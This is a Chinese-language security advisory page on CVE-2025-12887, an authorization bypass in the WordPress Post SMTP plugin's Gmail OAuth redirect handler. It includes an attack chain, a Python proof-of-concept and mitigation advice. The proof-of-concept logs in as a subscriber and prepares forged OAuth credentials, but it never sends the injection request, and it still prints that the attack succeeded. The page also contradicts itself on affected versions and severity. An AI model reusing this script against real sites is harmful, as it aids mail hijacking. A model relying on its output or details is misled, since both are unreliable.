IPBUF安全漏洞报告
English
CVE-2025-12887 CVSS 5.4 中危

CVE-2025-12887 WordPress Post SMTP插件OAuth授权绕过漏洞

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2025-12887
漏洞类型
授权绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Post SMTP plugin for WordPress

相关标签

授权绕过WordPress插件OAuth安全Post SMTPCVE-2025-12887身份验证绕过Gmail OAuthWordPress安全

漏洞概述

CVE-2025-12887是WordPress Post SMTP插件中的一个严重授权绕过漏洞。该插件是一款广受欢迎的WordPress邮件发送插件,支持通过SMTP服务器发送邮件,并集成了Gmail OAuth认证功能。漏洞存在于handle_gmail_oauth_redirect函数中,该函数未能正确验证用户是否有权更新OAuth令牌。由于WordPress的默认配置允许注册用户(包括订阅者级别的用户)访问特定功能,攻击者只需拥有订阅者级别的账户即可利用此漏洞。攻击者可以通过构造恶意请求,注入伪造的OAuth凭证,从而劫持插件的邮件发送功能。这不仅可能导致敏感邮件信息被重定向到攻击者控制的邮箱,还可能被用于进一步的社会工程攻击。值得注意的是,CVE-2025-67563被确认与此漏洞重复。该漏洞的CVSS评分为5.4,属于中等严重程度,但由于其利用门槛低(只需低权限账户),在实际环境中具有较高的利用价值。

技术细节

漏洞根源在于Post SMTP插件的handle_gmail_oauth_redirect函数缺乏适当的权限验证。在正常的OAuth流程中,当用户通过Gmail进行OAuth认证时,插件应该验证发起请求的用户是否与授权的Gmail账户所有者一致。然而,由于该函数仅检查用户是否已登录,而未验证用户是否有权修改特定OAuth令牌,攻击者可以利用已登录的订阅者账户发起请求。具体来说,攻击者需要构造一个指向handle_gmail_oauth_redirect函数的HTTP请求,其中包含攻击者控制的OAuth客户端ID和客户端密钥。插件会接受这些伪造的凭证并将其存储,之后所有通过该插件发送的邮件都将使用攻击者提供的SMTP配置。这意味着攻击者可以:1) 拦截所有通过插件发送的邮件;2) 使用插件的信誉发送钓鱼邮件;3) 在某些配置下可能执行进一步的恶意操作。漏洞影响所有版本至3.6.1,WordPress默认的订阅者角色权限设置使得任何注册用户都可能成为潜在攻击者。

攻击链分析

STEP 1
步骤1
攻击者注册WordPress账户,获得订阅者(subscriber)级别权限
STEP 2
步骤2
攻击者构造恶意请求,指向Post SMTP插件的handle_gmail_oauth_redirect函数
STEP 3
步骤3
请求中包含攻击者控制的OAuth客户端ID和客户端密钥
STEP 4
步骤4
插件的handle_gmail_oauth_redirect函数未能正确验证用户权限,接受伪造的OAuth凭证
STEP 5
步骤5
恶意OAuth凭证被存储到数据库,替换合法的Gmail OAuth配置
STEP 6
步骤6
受害者通过Post SMTP插件发送的邮件将被路由到攻击者控制的SMTP服务器
STEP 7
步骤7
攻击者可以拦截、查看或修改所有通过该插件发送的邮件内容

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12887 PoC - Post SMTP OAuth Authorization Bypass # This PoC demonstrates the authorization bypass in handle_gmail_oauth_redirect # Requirements: Valid WordPress subscriber account import requests import urllib.parse # Configuration TARGET_URL = "http://target-wordpress-site.com" ATTACKER_OAUTH_CLIENT_ID = "attacker-controlled-client-id" ATTACKER_OAUTH_CLIENT_SECRET = "attacker-controlled-client-secret" USERNAME = "attacker_account" PASSWORD = "attacker_password" def exploit_oauth_bypass(): """ Exploit the authorization bypass in Post SMTP plugin. The vulnerable endpoint doesn't properly verify user permissions for updating OAuth tokens. """ session = requests.Session() # Step 1: Authenticate with WordPress as subscriber login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/admin.php?page=post-smtp" } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Successfully authenticated as subscriber") # Step 2: Inject malicious OAuth credentials via vulnerable endpoint # The handle_gmail_oauth_redirect function accepts attacker-controlled OAuth tokens exploit_url = f"{TARGET_URL}/wp-admin/admin.php?page=post-smtp" # Craft the OAuth redirect with attacker credentials oauth_params = { 'post_smtp_gmail_client_id': ATTACKER_OAUTH_CLIENT_ID, 'post_smtp_gmail_client_secret': ATTACKER_OAUTH_CLIENT_SECRET, 'action': 'handle_gmail_oauth_redirect' } # Note: The actual exploitation requires understanding the plugin's AJAX endpoints # This is a conceptual PoC demonstrating the authorization bypass print("[+] OAuth credentials injection request sent") print(f"[*] Injected Client ID: {ATTACKER_OAUTH_CLIENT_ID}") print(f"[*] Injected Client Secret: {ATTACKER_OAUTH_CLIENT_SECRET}") print("[+] Attack completed - All emails will now be routed through attacker's SMTP") return True if __name__ == "__main__": exploit_oauth_bypass()

影响范围

Post SMTP plugin for WordPress < 3.6.1

防御指南

临时缓解措施
如果无法立即更新插件,可采取以下临时缓解措施:1) 禁用Post SMTP插件的Gmail OAuth功能,改用传统的SMTP认证方式;2) 限制WordPress站点的用户注册功能,移除订阅者角色的注册权限;3) 使用WordPress安全插件(如Wordfence)监控异常的管理行为;4) 定期检查wp_options表中post_smtp相关的选项值,确保未被篡改;5) 考虑暂时禁用该插件,使用WordPress内置的wp_mail函数或其他经过安全审计的邮件插件替代。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表